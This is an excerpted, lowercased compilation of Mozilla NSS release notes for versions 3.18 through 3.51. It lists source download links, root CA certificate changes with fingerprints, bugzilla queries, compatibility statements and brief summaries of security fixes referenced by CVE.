...fication authority - ec1 sha1 fingerprint: 20:d8:06:40:df:9b:25:f5:12:25:3a:11:ea:f7:59:8a:eb:14:b5:47 cn = cfca ev root sha1 fingerprint: e2:b8:29:4b:55:84:ab:6b:58:c2:90:46:6c:ac:3f:b8:39:8f:84:83 the version number of the updated root ca list has been set to 2.3 bugs fixed in nss 3.18 this bugzilla query returns all the bugs fixed in nss 3.18: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.18 compatibility nss 3.18 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.19.1 release notes
nss 3.19.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_19_1_rtm/src/ security fixes in nss 3.19.1 bug 1138554 / cve-2015-4000 - the minimum strength of keys that libssl will accept for finite field algorithms (rsa, diffie-hellman, and dsa) have been increased to 1023 bits.
... the minimum size of keys that nss will generate, import, or use has been raised: the minimum modulus size for rsa keys is now 512 bits the minimum modulus size for dsa keys is now 1023 bits the minimum modulus size for diffie-hellman keys is now 1023 bits bugs fixed in nss 3.19.1 this bugzilla query returns all the bugs fixed in nss 3.19.1: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.19.1 acknowledgements the nss development team would like to thank matthew green and karthikeyan bhargavan for responsibly disclosing the issue in bug 1138554.
NSS 3.19.2 release notes
nss 3.19.2 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_19_2_rtm/src/ new in nss 3.19.2 new functionality no new functionality is introduced in this release.
... bugs fixed in nss 3.19.2 this bugzilla query returns all the bugs fixed in nss 3.19.2: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.19.2 compatibility nss 3.19.2 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.19.3 release notes
nss 3.19.3 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_19_3_rtm/src/ new in nss 3.19.3 no new functionality is introduced in this release.
...yıcısı h6 sha1 fingerprint: 8a:5c:8c:ee:a5:03:e6:05:56:ba:d8:1b:d4:f6:c9:b0:ed:e5:2f:e0 cn = certinomis - root ca sha1 fingerprint: 9d:70:bb:01:a5:a4:a0:18:11:2e:f7:1c:01:b9:32:c5:34:e7:88:a8 the version number of the updated root ca list has been set to 2.5 bugs fixed in nss 3.19.3 this bugzilla query returns all the bugs fixed in nss 3.19.3: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.19.3 compatibility nss 3.19.3 shared libraries are backward compatible with all older nss 3.19 shared libraries.
NSS 3.19 release notes
nss 3.19 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_19_rtm/src/ security fixes in nss 3.19 bug 1086145 / cve-2015-2721 - fixed a bug related to the ordering of tls handshake messages.
... bugs fixed in nss 3.19 this bugzilla query returns all the bugs fixed in nss 3.19: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.19 acknowledgements the nss development team would like to thank karthikeyan bhargavan from inria for responsibly disclosing the issue in bug 1086145.
NSS 3.20 release notes
nss 3.20 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_20_rtm/src/ new in nss 3.20 new functionality the tls library has been extended to support dhe ciphersuites in server applications.
... bugs fixed in nss 3.20 this bugzilla query returns all the bugs fixed in nss 3.20: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.20 compatibility nss 3.20 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.21 release notes
nss 3.21 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_21_rtm/src/ security fixes in nss 3.21 bug 1158489 / cve-2015-7575 - prevent md5 downgrade in tls 1.2 signatures.
... root sha1 fingerprint: d2:7a:d2:be:ed:94:c0:a1:3c:c7:25:21:ea:5d:71:be:81:19:f3:2b cn = oiste wisekey global root gb ca sha1 fingerprint: 0f:f9:40:76:18:d3:d7:6a:4b:98:f0:a8:35:9e:0c:fd:27:ac:cc:ed the version number of the updated root ca list has been set to 2.6 bugs fixed in nss 3.21 this bugzilla query returns all the bugs fixed in nss 3.21: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.21 acknowledgements the nss development team would like to thank karthikeyan bhargavan from inria for responsibly disclosing the issue in bug 1158489.
NSS 3.22 release notes
nss 3.22 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_22_rtm/src/ new in nss 3.22 new functionality rsa-pss signatures are now supported (bug 1215295) new functions pk11_signwithmechanism() and pk11_signwithmechanism() are provided to allow rsa keys to be used with pss.
... bugs fixed in nss 3.22 this bugzilla query returns all the bugs fixed in nss 3.22: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.22 compatibility nss 3.22 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.23 release notes
nss 3.23 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_23_rtm/src/ new in nss 3.23 new functionality chacha20/poly1305 cipher and tls cipher suites now supported (bug 917571, bug 1227905) experimental-only support tls 1.3 1-rtt mode (draft-11).
... bugs fixed in nss 3.23 this bugzilla query returns all the bugs fixed in nss 3.23: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.23 acknowledgements the nss development team would like to thank security researcher francis gabriel for responsibly disclosing the issue in bug 1245528.
NSS 3.24 release notes
nss 3.24 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_24_rtm/src/ new in nss 3.24 nss 3.24 includes two nss softoken updates, a new function to configure ssl/tls server sockets, and two functions to improve the use of temporary arenas.
... bugs fixed in nss 3.24 this bugzilla query returns all the bugs fixed in nss 3.24: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.24 acknowledgements the nss development team would like to thank yuval yarom for responsibly disclosing the cachebleed attack by providing advance copies of their research.
NSS 3.26 release notes
nss 3.26 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_26_rtm/src/ new in nss 3.26 new functionality the selfserv test utility has been enhanced to support alpn (http/1.1) and 0-rtt added support for the system-wide crypto policy available on fedora linux, see http://fedoraproject.org/wiki/changes/cryptopolicy introduced build flag nss_disable_libpkix which allows compilation of nss without the libpkix library notable changes in ns...
...96:bc:ec:06:26:49:76:f3:74:60:77:9a:cf:28:c5:a7:cf:e8:a3:c0:aa:e1:1a:8f:fc:ee:05:c0:bd:df:08:c6 npn is disabled, and alpn is enabled by default the nss test suite now completes with the experimental tls 1.3 code enabled several test improvements and additions, including a nist known answer test bugs fixed in nss 3.26 this bugzilla query returns all the bugs fixed in nss 3.26: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.26 compatibility nss 3.26 shared libraries are backwards compatible with all older nss 3.x shared libraries.
NSS 3.27 release notes
nss 3.27 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_27_rtm/src/ new in nss 3.27 new functionality allow custom named group priorities for tls key exchange handshake (ssl_namedgroupconfig).
... sha-256 fingerprint: cf:56:ff:46:a4:a1:86:10:9d:d9:65:84:b5:ee:b5:8a:51:0c:42:75:b0:e5:f9:4f:40:bb:ae:86:5e:19:f6:73 cn = equifax secure global ebusiness ca-1 sha-256 fingerprint: 5f:0b:62:ea:b5:e3:53:ea:65:21:65:16:58:fb:b6:53:59:f4:43:28:0a:4a:fb:d1:04:d7:7d:10:f9:f0:4c:07 bugs fixed in nss 3.27 this bugzilla query returns all the bugs fixed in nss 3.27: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.27 compatibility nss 3.27 shared libraries are backwards compatible with all older nss 3.x shared libraries.
NSS 3.28 release notes
nss 3.28 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_28_rtm/src/ new in nss 3.28 new functionality nss includes support for tls 1.3 draft -18.
... bugs fixed in nss 3.28 this bugzilla query returns all the bugs fixed in nss 3.28: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.28 compatibility nss 3.28 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.29 release notes
nss 3.29 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_29_rtm/src/ notable changes in nss 3.29 fixed a nss 3.28 regression in the signature scheme flexibility that causes connectivity issues between ios 8 clients and nss servers with ecdsa certificates (bug1334114).
... bugs fixed in nss 3.29 this bugzilla query returns all the bugs fixed in nss 3.29: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.29 compatibility nss 3.29 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.30 release notes
nss 3.30 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_30_rtm/src/ new in nss 3.30 new functionality in the pkcs#11 root ca module (nssckbi), cas with positive trust are marked with a new boolean attribute, cka_nss_mozilla_ca_policy, set to true.
... bugs fixed in nss 3.30 this bugzilla query returns all the bugs fixed in nss 3.30: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.30 compatibility nss 3.30 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.31 release notes
nss 3.31 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_31_rtm/src/ new in nss 3.31 new functionality allow certificates to be specified by rfc7512 pkcs#11 uris.
... bugs fixed in nss 3.31 this bugzilla query returns all the bugs fixed in nss 3.31: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.31 compatibility nss 3.31 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.32 release notes
nss 3.32 source distributions are available on ftp.mozilla.org, for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_32_rtm/src/ notable changes in nss 3.32 various minor improvements and correctness fixes.
...(cve-2018-5149, bug 1361197) this bugzilla query returns all the bugs fixed in nss 3.32: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.32 compatibility nss 3.32 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.33 release notes
nss 3.33 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_33_rtm/src/ notable changes in nss 3.33 tls compression is no longer supported.
... bugs fixed in nss 3.33 this bugzilla query returns all the bugs fixed in nss 3.33: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.33 compatibility nss 3.33 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.34.1 release notes
nss 3.34.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_34_1_rtm/src/ notable changes in nss 3.34.1 the following ca certificate was re-added.
... new in nss 3.34 new functionality none new functions bugs fixed in nss 3.34.1 this bugzilla query returns all the bugs fixed in nss 3.34.1: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.34.1 compatibility nss 3.34.1 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.34 release notes
nss 3.34 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_34_rtm/src/ notable changes in nss 3.34 the following ca certificates were added: cn = gdca trustauth r5 root sha-256 fingerprint: bf:ff:8f:d0:44:33:48:7d:6a:8a:a6:0c:1a:29:76:7a:9f:c2:bb:b0:5e:42:0f:71:3a:13:b9:92:89:1d:38:93 trust flags: websites cn = ssl.com root certification authority rsa sha-256 fingerprint: 85:66:6a:56:2e:e0:be:5c:...
... new functions bugs fixed in nss 3.34 this bugzilla query returns all the bugs fixed in nss 3.34: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.34 compatibility nss 3.34 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.36.1 release notes
nss 3.36.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/security/nss/releases/nss_3_36_1_rtm/src/ new in nss 3.xx new functionality no new functionality is introduced in this release.
... this bugzilla query returns all the bugs fixed in nss 3.36.1: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.36.1 compatibility nss 3.36.1 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.36.2 release notes
nss 3.36.2 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/security/nss/releases/nss_3_36_2_rtm/src/ new in nss 3.36.2 new functionality no new functionality is introduced in this release.
... this bugzilla query returns all the bugs fixed in nss 3.36.2: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.36.2 compatibility nss 3.36.2 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.36 release notes
nss 3.36 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_36_rtm/src/ (make a link) new in nss 3.36 new functionality experimental apis for tls session cache handling.
... bugs fixed in nss 3.36 this bugzilla query returns all the bugs fixed in nss 3.36: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.36 compatibility nss 3.36 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.37.1 release notes
nss 3.37.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/security/nss/releases/nss_3_37_1_rtm/src/ new in nss 3.37.1 new functionality no new functionality is introduced in this release.
... this bugzilla query returns all the bugs fixed in nss 3.37.1: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.37.1 compatibility nss 3.37.1 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.37 release notes
nss 3.37 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_37_rtm/src/ notable changes in nss 3.37 the tls 1.3 implementation was updated to draft 28.
... 8d:a0:84:fc:f9:9c:e0:77:22:f8:9b:32:05:93:98:06:fa:5c:b8:11:e1:c8:13:f6:a1:08:c7:d3:36:b3:40:8e cn = tÜrktrust elektronik sertifika hizmet saÄŸlayıcısı h5 sha-256 fingerprint: 49:35:1b:90:34:44:c1:85:cc:dc:5c:69:3d:24:d8:55:5c:b2:08:d6:a8:14:13:07:69:9f:4a:f0:63:19:9d:78 bugs fixed in nss 3.37 this bugzilla query returns all the bugs fixed in nss 3.37: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.37 compatibility nss 3.37 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.38 release notes
nss 3.38 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_38_rtm/src/ new in nss 3.38 new functionality added support for the tls record size limit extension.
... bugs fixed in nss 3.38 this bugzilla query returns all the bugs fixed in nss 3.38: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.38 compatibility nss 3.38 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.39 release notes
nss 3.39 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_39_rtm/src/ new in nss 3.39 new functionality the tstclnt and selfserv utilities added support for configuring the enabled tls signature schemes using the -j parameter.
...db16c225929257bf40d0894f29ea8baf2 cn = opentrust root ca g3 sha-256 fingerprint: b7c36231706e81078c367cb896198f1e3208dd926949dd8f5709a410f75b6292 bugs fixed in nss 3.39 bug 1483128 - nss responded to an sslv2-compatible clienthello with a serverhello that had an all-zero random (cve-2018-12384) this bugzilla query returns all the bugs fixed in nss 3.39: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.39 compatibility nss 3.39 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.40 release notes
nss 3.40 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_40_rtm/src/ new in nss 3.40 new functionality the draft-00 version of encrypted sni support is implemented tstclnt now takes -n option to specify encrypted sni key new functions none notable changes in nss 3.40 the mozilla::pkix library has been ported from mozilla psm to nss.
... the following ca certificates were removed: cn = visa ecommerce root sha-256 fingerprint: 69fac9bd55fb0ac78d53bbee5cf1d597989fd0aaab20a25151bdf1733ee7d122 bugs fixed in nss 3.40 bug 1478698 - ffdhe key exchange sometimes fails with decryption failure this bugzilla query returns all the bugs fixed in nss 3.40: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.40 compatibility nss 3.40 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.41.1 release notes
nss 3.41.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_41_1_rtm/src/ other releases are available in nss releases.
...(cve-2018-18508) this bugzilla query returns all bugs fixed in 3.41.1: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.41.1 compatibility nss 3.41.1 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.41 release notes
nss 3.41 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_41_rtm/src/ new in nss 3.41 new functionality bug 1252891 - implemented eku handling for ipsec ike.
...tificate request in tls 1.2 bug 1485864 - cache side-channel variant of the bleichenbacher attack (cve-2018-12404) bug 1481271 - resend the same ticket in clienthello after helloretryrequest bug 1493769 - set session_id for external resumption tokens bug 1507179 - reject ccs after handshake is complete in tls 1.3 this bugzilla query returns all the bugs fixed in nss 3.41: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.41 compatibility nss 3.41 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.42.1 release notes
nss 3.42.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_42_1_rtm/src/ other releases are available in nss releases.
...(cve-2018-18508) this bugzilla query returns all the bugs fixed in nss 3.42.1: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.42.1 compatibility nss 3.42.1 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.42 release notes
nss 3.42 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_42_rtm/src/ other releases are available in nss releases.
... bug 1513913 - a fix for solaris where firefox 60 core dumps during start when using profile from version 52 this bugzilla query returns all the bugs fixed in nss 3.42: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.42 compatibility nss 3.42 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.43 release notes
nss 3.43 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_43_rtm/src/ other releases are available in nss releases.
... this bugzilla query returns all the bugs fixed in nss 3.43: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.43 compatibility nss 3.43 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.44.2 release notes
nss 3.44.2 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_44_2_rtm/src/ other releases are available in nss releases.
... bugs fixed in nss 3.44.2 bug 1582343 - soft token mac verification not constant time bug 1577953 - remove arbitrary hkdf output limit by allocating space as needed this bugzilla query returns all the bugs fixed in nss 3.44.2: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.44.2 compatibility nss 3.44.2 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.44.3 release notes
nss 3.44.3 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_44_3_rtm/src/ other releases are available in nss releases.
... bugs fixed in nss 3.44.3 bug 1579060 - don't set the constructed bit for issueruniqueid and subjectuniqueid in mozilla::pkix cve-2019-11745 - encryptupdate should use maxout, not block size this bugzilla query returns all the bugs fixed in nss 3.44: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.44 compatibility nss 3.44.3 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.44 release notes
nss 3.44 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_44_rtm/src/ other releases are available in nss releases.
... included in build 1537927 - ipsec usage is too restrictive for existing deployments 1549608 - signature fails with dbm disabled 1549848 - allow building nss for ios using gyp 1549847 - nss's sqlite compilation warnings make the build fail on ios 1550041 - freebl not building on ios simulator 1542950 - macos cipher test timeouts this bugzilla query returns all the bugs fixed in nss 3.44: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.44 compatibility nss 3.44 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.45 release notes
nss 3.45 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_45_rtm/src/ other releases are available in nss releases.
... return code for rejecting 0-rtt bug 1556591 - eliminate races in uses of pk11_setwrapkey bug 1558681 - stop using a global for anti-replay of tls 1.3 early data bug 1561510 - fix a bug where removing -arch xxx args from cc didn't work bug 1561523 - add a string for the new-ish error ssl_error_missing_post_handshake_auth_extension this bugzilla query returns all the bugs fixed in nss 3.45: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.45 compatibility nss 3.45 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.46.1 release notes
nss 3.46.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_46_1_rtm/src/ other releases are available in nss releases.
... bugs fixed in nss 3.46.1 bug 1582343 - soft token mac verification not constant time bug 1577953 - remove arbitrary hkdf output limit by allocating space as needed this bugzilla query returns all the bugs fixed in nss 3.46.1: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.46.1 compatibility nss 3.46.1 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.47.1 release notes
nss 3.47.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_47_1_rtm/src/ other releases are available in nss releases.
... bugs fixed in nss 3.47.1 cve-2019-11745 - encryptupdate should use maxout, not block size bug 1590495 - fix a crash that could be caused by client certificates during startup bug 1589810 - fix compile-time warnings from uninitialized variables in a perl script this bugzilla query returns all the bugs fixed in nss 3.47: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.47 compatibility nss 3.47.1 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.47 release notes
nss 3.47 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_47_rtm/src/ other releases are available in nss releases.
... bug 1577038 - add pk11_getcertsfromprivatekey to return all certificates with public keys matching a particular private key this bugzilla query returns all the bugs fixed in nss 3.47: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.47 compatibility nss 3.47 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.48.1 release notes
nss 3.48.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_48_1_rtm/src/ other releases are available in nss releases.
... this bugzilla query returns all the bugs fixed in nss 3.48: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.48 compatibility nss 3.48.1 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.48 release notes
nss 3.48 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_48_rtm/src/ other releases are available in nss releases.
...ybe-uninitialized warning in tls13esni.c bug 1588244 - nss changes for delegated credential key strength checks bug 1459141 - add more cbc padding tests that missed nss 3.47 bug 1590339 - fix a memory leak in btoa.c bug 1589810 - fix uninitialized variable warnings from certdata.perl bug 1573118 - enable tls 1.3 by default in nss this bugzilla query returns all the bugs fixed in nss 3.48: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.48 compatibility nss 3.48 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.49.1 release notes
nss 3.49.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_49_1_rtm/src/ other releases are available in nss releases.
... this bugzilla query returns all the bugs fixed in nss 3.49: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.49 compatibility nss 3.49.1 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.49.2 release notes
nss 3.49.2 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_49_2_rtm/src/ other releases are available in nss releases.
... bug 1608327 - fix compilation problems with neon-specific code in freebl bug 1608895 - fix a taskcluster issue with python 2 / python 3 this bugzilla query returns all the bugs fixed in nss 3.49: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.49 compatibility nss 3.49.2 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.49 release notes
nss 3.49 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_49_rtm/src/ other releases are available in nss releases.
...clienthello bug 1603027 - test that esni is regenerated after helloretryrequest bug 1593167 - intermittent mis-reporting potential security risk sec_error_unknown_issuer bug 1535787 - fix automation/release/nss-release-helper.py on macos bug 1594933 - disable building dbm by default bug 1562548 - improve gcm perfomance on aarch32 this bugzilla query returns all the bugs fixed in nss 3.49: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.49 compatibility nss 3.49 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.50 release notes
nss 3.50 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_50_rtm/src/ other releases are available in nss releases.
... this bugzilla query returns all the bugs fixed in nss 3.50: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.50 compatibility nss 3.50 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.51 release notes
nss 3.51 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_51_rtm/src/ other releases are available in nss releases.
